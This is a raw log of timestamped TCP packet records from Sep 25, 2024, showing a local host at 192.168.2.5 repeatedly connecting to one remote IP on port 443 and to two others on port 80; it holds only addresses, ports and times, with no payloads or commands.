Sep 25, 2024 16:02:20.931266069 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.931313038 CEST	49741	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:20.931477070 CEST	49741	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:20.931493044 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.931510925 CEST	49741	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:20.931515932 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:21.025077105 CEST	49742	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:21.025116920 CEST	443	49742	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:21.025182962 CEST	49742	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:21.027443886 CEST	49742	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:21.027456045 CEST	443	49742	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:21.799849033 CEST	443	49742	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:21.799957037 CEST	49742	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:21.803422928 CEST	49742	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:21.803441048 CEST	443	49742	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:21.803714991 CEST	443	49742	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:21.806524038 CEST	49742	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:21.806564093 CEST	49742	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:21.806567907 CEST	443	49742	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:22.175898075 CEST	443	49742	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:22.175971985 CEST	443	49742	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:22.176052094 CEST	49742	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:22.176523924 CEST	49742	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:22.176542997 CEST	443	49742	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:22.176556110 CEST	49742	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:22.176562071 CEST	443	49742	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:22.183535099 CEST	49743	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:22.183578968 CEST	443	49743	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:22.183645010 CEST	49743	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:22.183902979 CEST	49743	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:22.183916092 CEST	443	49743	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:22.787055016 CEST	443	49743	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:22.787138939 CEST	49743	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:22.788588047 CEST	49743	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:22.788599014 CEST	443	49743	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:22.788840055 CEST	443	49743	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:22.789563894 CEST	49743	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:22.789592981 CEST	49743	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:22.789628029 CEST	443	49743	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:23.074373960 CEST	443	49743	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:23.074441910 CEST	443	49743	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:23.074541092 CEST	49743	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:23.074580908 CEST	49743	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:23.074598074 CEST	443	49743	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:23.074615002 CEST	49743	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:23.074620962 CEST	443	49743	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:23.080796957 CEST	49744	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:23.080816984 CEST	443	49744	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:23.080913067 CEST	49744	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:23.081176996 CEST	49744	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:23.081185102 CEST	443	49744	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:23.664676905 CEST	443	49744	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:23.664859056 CEST	49744	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:23.666105986 CEST	49744	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:23.666120052 CEST	443	49744	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:23.666363955 CEST	443	49744	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:23.667224884 CEST	49744	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:23.667260885 CEST	49744	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:23.667265892 CEST	443	49744	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:23.949548960 CEST	443	49744	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:23.949620008 CEST	443	49744	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:23.949748993 CEST	49744	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:23.949783087 CEST	443	49744	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:23.949798107 CEST	49744	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:23.949804068 CEST	443	49744	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:23.949834108 CEST	49744	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:23.949839115 CEST	443	49744	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:23.960567951 CEST	49745	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:23.960618973 CEST	443	49745	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:23.960725069 CEST	49745	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:23.961137056 CEST	49745	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:23.961158037 CEST	443	49745	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:24.555859089 CEST	443	49745	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:24.556200981 CEST	49745	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:24.557387114 CEST	49745	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:24.557394028 CEST	443	49745	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:24.557677984 CEST	443	49745	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:24.558598995 CEST	49745	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:24.558599949 CEST	49745	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:24.558615923 CEST	443	49745	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:24.992031097 CEST	443	49745	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:24.992094994 CEST	443	49745	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:24.992254972 CEST	49745	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:24.992961884 CEST	49745	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:24.992961884 CEST	49745	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:24.992980957 CEST	443	49745	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:24.992990017 CEST	443	49745	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:24.995821953 CEST	49746	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:24.995843887 CEST	443	49746	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:24.995994091 CEST	49746	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:24.996428013 CEST	49746	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:24.996439934 CEST	443	49746	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:25.602960110 CEST	443	49746	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:25.603102922 CEST	49746	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:25.604368925 CEST	49746	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:25.604381084 CEST	443	49746	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:25.605357885 CEST	443	49746	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:25.615149021 CEST	49746	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:25.615185976 CEST	49746	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:25.615199089 CEST	443	49746	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:25.892869949 CEST	443	49746	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:25.892983913 CEST	443	49746	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:25.893028021 CEST	49746	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:25.893028021 CEST	49746	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:25.893062115 CEST	443	49746	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:25.893110037 CEST	49746	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:25.893117905 CEST	443	49746	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:25.899348974 CEST	49747	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:25.899378061 CEST	443	49747	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:25.899432898 CEST	49747	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:25.899696112 CEST	49747	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:25.899702072 CEST	443	49747	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:26.494271994 CEST	443	49747	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:26.494414091 CEST	49747	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:26.536303997 CEST	49747	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:26.536329031 CEST	443	49747	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:26.536901951 CEST	443	49747	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:26.568528891 CEST	49747	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:26.570302010 CEST	49747	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:26.570311069 CEST	443	49747	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:26.857024908 CEST	443	49747	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:26.857188940 CEST	443	49747	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:26.857242107 CEST	49747	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:26.857273102 CEST	443	49747	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:26.857287884 CEST	49747	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:26.857297897 CEST	443	49747	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:26.857306957 CEST	49747	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:26.857310057 CEST	443	49747	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:26.943144083 CEST	49748	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:26.943212032 CEST	443	49748	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:26.943281889 CEST	49748	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:26.943619013 CEST	49748	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:26.943633080 CEST	443	49748	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:27.538300037 CEST	443	49748	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:27.538374901 CEST	49748	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:27.539895058 CEST	49748	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:27.539907932 CEST	443	49748	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:27.540390015 CEST	443	49748	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:27.541377068 CEST	49748	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:27.541377068 CEST	49748	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:27.541491032 CEST	443	49748	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:27.820450068 CEST	443	49748	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:27.820661068 CEST	443	49748	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:27.820820093 CEST	49748	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:27.820820093 CEST	49748	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:27.820868969 CEST	443	49748	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:27.820890903 CEST	49748	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:27.820898056 CEST	443	49748	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:27.823782921 CEST	49749	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:27.823827982 CEST	443	49749	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:27.827346087 CEST	49749	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:27.827689886 CEST	49749	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:27.827709913 CEST	443	49749	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:28.596733093 CEST	443	49749	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:28.596863985 CEST	49749	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:28.598108053 CEST	49749	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:28.598119020 CEST	443	49749	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:28.598371983 CEST	443	49749	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:28.599107981 CEST	49749	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:28.599137068 CEST	49749	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:28.599143982 CEST	443	49749	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:28.922749043 CEST	443	49749	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:28.922776937 CEST	443	49749	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:28.922843933 CEST	49749	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:28.922863960 CEST	443	49749	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:28.964518070 CEST	49749	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:28.966144085 CEST	443	49749	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:28.966161013 CEST	443	49749	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:28.966253042 CEST	49749	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:28.966269016 CEST	443	49749	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:28.966463089 CEST	443	49749	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:28.966497898 CEST	443	49749	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:28.966512918 CEST	49749	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:28.966523886 CEST	443	49749	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:28.966545105 CEST	49749	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:29.011416912 CEST	49749	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:29.012375116 CEST	443	49749	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:29.012391090 CEST	443	49749	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:29.012458086 CEST	49749	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:29.012470961 CEST	443	49749	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:29.026698112 CEST	443	49749	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:29.026710987 CEST	443	49749	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:29.026774883 CEST	49749	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:29.026794910 CEST	443	49749	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:29.026806116 CEST	49749	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:29.052071095 CEST	443	49749	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:29.052083969 CEST	443	49749	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:29.052135944 CEST	49749	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:29.052155018 CEST	443	49749	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:29.052176952 CEST	49749	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:29.053031921 CEST	443	49749	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:29.053040981 CEST	443	49749	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:29.053088903 CEST	49749	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:29.053100109 CEST	443	49749	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:29.057323933 CEST	443	49749	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:29.057332993 CEST	443	49749	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:29.057385921 CEST	49749	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:29.057399035 CEST	443	49749	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:29.057423115 CEST	49749	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:29.057832956 CEST	443	49749	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:29.057869911 CEST	443	49749	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:29.057895899 CEST	49749	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:29.057903051 CEST	443	49749	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:29.057923079 CEST	49749	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:29.093719959 CEST	443	49749	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:29.093802929 CEST	49749	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:29.093816042 CEST	443	49749	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:29.093859911 CEST	49749	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:29.094002962 CEST	49749	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:29.094019890 CEST	443	49749	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:29.094032049 CEST	49749	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:29.094038010 CEST	443	49749	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:29.157758951 CEST	49750	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:29.157809973 CEST	443	49750	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:29.157881975 CEST	49750	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:29.158210993 CEST	49750	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:29.158227921 CEST	443	49750	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:29.743544102 CEST	443	49750	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:29.743683100 CEST	49750	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:29.758856058 CEST	49750	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:29.758876085 CEST	443	49750	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:29.759176970 CEST	443	49750	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:29.775311947 CEST	49750	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:29.775365114 CEST	49750	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:29.775373936 CEST	443	49750	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:30.053045034 CEST	443	49750	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:30.053215981 CEST	443	49750	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:30.053327084 CEST	49750	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:30.053379059 CEST	49750	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:30.053395987 CEST	443	49750	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:30.053407907 CEST	49750	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:30.053414106 CEST	443	49750	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:35.727170944 CEST	49751	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:35.727224112 CEST	443	49751	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:35.727308035 CEST	49751	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:35.728835106 CEST	49751	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:35.728849888 CEST	443	49751	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:36.319010019 CEST	443	49751	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:36.319150925 CEST	49751	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:36.331684113 CEST	49751	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:36.331703901 CEST	443	49751	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:36.331968069 CEST	443	49751	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:36.401674032 CEST	49751	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:36.401695967 CEST	49751	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:36.401710987 CEST	443	49751	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:36.940810919 CEST	443	49751	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:36.940893888 CEST	443	49751	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:36.941148996 CEST	49751	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:36.943069935 CEST	49751	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:36.943069935 CEST	49751	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:36.943103075 CEST	443	49751	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:36.943113089 CEST	443	49751	23.145.40.162	192.168.2.5
Sep 25, 2024 16:03:19.966249943 CEST	49752	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:03:19.971338987 CEST	80	49752	116.58.10.60	192.168.2.5
Sep 25, 2024 16:03:19.973128080 CEST	49752	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:03:19.973284960 CEST	49752	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:03:19.973320007 CEST	49752	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:03:19.978144884 CEST	80	49752	116.58.10.60	192.168.2.5
Sep 25, 2024 16:03:19.978230953 CEST	80	49752	116.58.10.60	192.168.2.5
Sep 25, 2024 16:03:21.252602100 CEST	80	49752	116.58.10.60	192.168.2.5
Sep 25, 2024 16:03:21.252645016 CEST	80	49752	116.58.10.60	192.168.2.5
Sep 25, 2024 16:03:21.252703905 CEST	49752	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:03:21.252877951 CEST	49752	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:03:21.257838011 CEST	80	49752	116.58.10.60	192.168.2.5
Sep 25, 2024 16:03:30.179510117 CEST	49753	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:03:30.184842110 CEST	80	49753	116.58.10.60	192.168.2.5
Sep 25, 2024 16:03:30.184940100 CEST	49753	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:03:30.185046911 CEST	49753	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:03:30.185086966 CEST	49753	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:03:30.189944029 CEST	80	49753	116.58.10.60	192.168.2.5
Sep 25, 2024 16:03:30.189989090 CEST	80	49753	116.58.10.60	192.168.2.5
Sep 25, 2024 16:03:31.755563974 CEST	80	49753	116.58.10.60	192.168.2.5
Sep 25, 2024 16:03:31.755662918 CEST	80	49753	116.58.10.60	192.168.2.5
Sep 25, 2024 16:03:31.755722046 CEST	49753	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:03:31.755938053 CEST	49753	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:03:31.760664940 CEST	80	49753	116.58.10.60	192.168.2.5
Sep 25, 2024 16:03:43.804769039 CEST	49754	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:03:43.809752941 CEST	80	49754	116.58.10.60	192.168.2.5
Sep 25, 2024 16:03:43.809842110 CEST	49754	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:03:43.811299086 CEST	49754	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:03:43.811331987 CEST	49754	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:03:43.816241026 CEST	80	49754	116.58.10.60	192.168.2.5
Sep 25, 2024 16:03:43.816323996 CEST	80	49754	116.58.10.60	192.168.2.5
Sep 25, 2024 16:03:45.252703905 CEST	80	49754	116.58.10.60	192.168.2.5
Sep 25, 2024 16:03:45.252733946 CEST	80	49754	116.58.10.60	192.168.2.5
Sep 25, 2024 16:03:45.252748966 CEST	80	49754	116.58.10.60	192.168.2.5
Sep 25, 2024 16:03:45.252830982 CEST	49754	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:03:45.265652895 CEST	49754	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:03:45.270638943 CEST	80	49754	116.58.10.60	192.168.2.5
Sep 25, 2024 16:03:52.543411016 CEST	49755	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:03:52.543462038 CEST	443	49755	23.145.40.162	192.168.2.5
Sep 25, 2024 16:03:52.543535948 CEST	49755	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:03:52.543936014 CEST	49755	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:03:52.543947935 CEST	443	49755	23.145.40.162	192.168.2.5
Sep 25, 2024 16:03:53.142972946 CEST	443	49755	23.145.40.162	192.168.2.5
Sep 25, 2024 16:03:53.143085957 CEST	49755	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:03:53.144599915 CEST	49755	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:03:53.144613028 CEST	443	49755	23.145.40.162	192.168.2.5
Sep 25, 2024 16:03:53.144861937 CEST	443	49755	23.145.40.162	192.168.2.5
Sep 25, 2024 16:03:53.184146881 CEST	49755	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:03:53.184170961 CEST	49755	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:03:53.184256077 CEST	443	49755	23.145.40.162	192.168.2.5
Sep 25, 2024 16:03:53.528382063 CEST	443	49755	23.145.40.162	192.168.2.5
Sep 25, 2024 16:03:53.528583050 CEST	443	49755	23.145.40.162	192.168.2.5
Sep 25, 2024 16:03:53.528759003 CEST	49755	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:03:53.559597969 CEST	49755	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:03:53.559650898 CEST	443	49755	23.145.40.162	192.168.2.5
Sep 25, 2024 16:03:53.559767008 CEST	49755	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:03:53.559775114 CEST	443	49755	23.145.40.162	192.168.2.5
Sep 25, 2024 16:04:03.026755095 CEST	49756	80	192.168.2.5	190.98.23.157
Sep 25, 2024 16:04:03.031595945 CEST	80	49756	190.98.23.157	192.168.2.5
Sep 25, 2024 16:04:03.031698942 CEST	49756	80	192.168.2.5	190.98.23.157
Sep 25, 2024 16:04:03.031873941 CEST	49756	80	192.168.2.5	190.98.23.157
Sep 25, 2024 16:04:03.031912088 CEST	49756	80	192.168.2.5	190.98.23.157
Sep 25, 2024 16:04:03.036664963 CEST	80	49756	190.98.23.157	192.168.2.5
Sep 25, 2024 16:04:03.036815882 CEST	80	49756	190.98.23.157	192.168.2.5
Sep 25, 2024 16:04:04.581497908 CEST	80	49756	190.98.23.157	192.168.2.5
Sep 25, 2024 16:04:04.584372044 CEST	80	49756	190.98.23.157	192.168.2.5
Sep 25, 2024 16:04:04.585526943 CEST	49756	80	192.168.2.5	190.98.23.157
Sep 25, 2024 16:04:04.585560083 CEST	49756	80	192.168.2.5	190.98.23.157
Sep 25, 2024 16:04:04.590509892 CEST	80	49756	190.98.23.157	192.168.2.5
Sep 25, 2024 16:04:13.159389019 CEST	49757	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:04:13.159427881 CEST	443	49757	23.145.40.162	192.168.2.5
Sep 25, 2024 16:04:13.159513950 CEST	49757	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:04:13.159879923 CEST	49757	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:04:13.159889936 CEST	443	49757	23.145.40.162	192.168.2.5
Sep 25, 2024 16:04:13.853146076 CEST	443	49757	23.145.40.162	192.168.2.5
Sep 25, 2024 16:04:13.853313923 CEST	49757	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:04:13.854669094 CEST	49757	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:04:13.854677916 CEST	443	49757	23.145.40.162	192.168.2.5
Sep 25, 2024 16:04:13.854923010 CEST	443	49757	23.145.40.162	192.168.2.5
Sep 25, 2024 16:04:13.856147051 CEST	49757	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:04:13.856179953 CEST	49757	443	192.168.2.5	23.145.40.162
